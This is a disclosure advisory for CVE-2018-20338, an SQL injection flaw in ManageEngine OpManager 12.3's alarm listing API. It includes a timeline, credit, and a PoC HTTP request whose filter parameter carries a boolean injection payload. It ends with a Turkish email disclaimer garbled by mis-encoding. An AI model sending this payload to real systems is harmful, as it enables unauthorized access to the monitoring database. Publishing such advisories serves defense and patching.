I. VULNERABILITY
-------------------------
Zoho ManageEngine OpManager 12.3 before build 123239 allows SQL
injection in the Alarms section

II. CVE REFERENCE
-------------------------
CVE-2018-20338

III. VENDOR
-------------------------
https://www.manageengine.com

IV. TIMELINE
-------------------------
20/11/18 Vulnerability discovered
20/11/18 Vendor contacted
20/12/2018 OPManager replay that they fixed

V. CREDIT
-------------------------
Murat Aydemir from Biznet Bilisim A.S.

VI. DESCRIPTION
-------------------------
ManageEngine OPManager product(version 12.3) was vulnerable to SQL
Injection attacks. A successfully exploit of this attack could allow
arbitrary code execution or unauthenticated access in databases
information.
References: https://www.manageengine.com/network-monitoring/help/read-me.html
https://bugbounty.zoho.com/bb/info#hof

VII. PoC
-------------------------
GET /api/json/alarm/listAlarms?isFluidic=true&isWebclient=true&apiKey=5f5e26abc7bf2af2a5669cf258ec8385&alertType=ActiveAlarms&sortByCategory=true&isNotes=true&_search=true&nd=1539945434261&rows=100&page=1&sortByColumn=modTime&sortByType=desc&filters=%7b%22groupOp%22%3a%22AND%22%2c%22rules%22%3a[%7b%22field%22%3a%22message%22%2c%22op%22%3a%22cn%22%2c%22data%22%3a%22test78275719'%20or%201268%3d1268--%20%22%7d]%7d&_=1539935356081
HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://vulnerablehost/apiclient/ember/index.jsp
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONID=XXXXXXXXX; encryptPassForAutomaticSignin=XXXXXXXXX;
userNameForAutomaticSignin=admin;
domainNameForAutomaticSignin=Authenticator; signInAutomatically=true;
authrule_name=Authenticator; NFA__SSO=XXXXXXXXX;
opmcsrfcookie=XXXXXXXXX
DNT: 1
Connection: close

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Bu mesaj ve ekleri, mesajda 
gAPnderildiAi belirtilen 
kiAi/kiAilere APzeldir ve gizlidir. Bu mesaj 
herhangi bir amaASS iASSin 
ASSoAaltA+-lamaz, daAA+-tA+-lamaz ve yayA+-nlanamaz. 
MesajA+-n gAPnderildiAi kiAi 
deAilseniz, mesaj iASSeriAini ya da eklerini 
kopyalamayA+-nA+-z, yayA+-nlamayA+-nA+-z 
ya da baAka kiAilere yAPnlendirmeyiniz ve 
mesajA+- gAPnderen kiAiyi derhal 
uyararak bu mesajA+- siliniz. Airketimiz, 
mesajA+-n iASSeriAinin ve eklerinin 
size deAiAikliAe uArayarak veya geASS 
ulaAmasA+-ndan; gizliliAinin 
korunmamasA+-ndan; virA1/4s iASSermesinden ve 
bilgisayar sisteminize verebileceAi 
herhangi bir zarardan sorumlu 
deAildir


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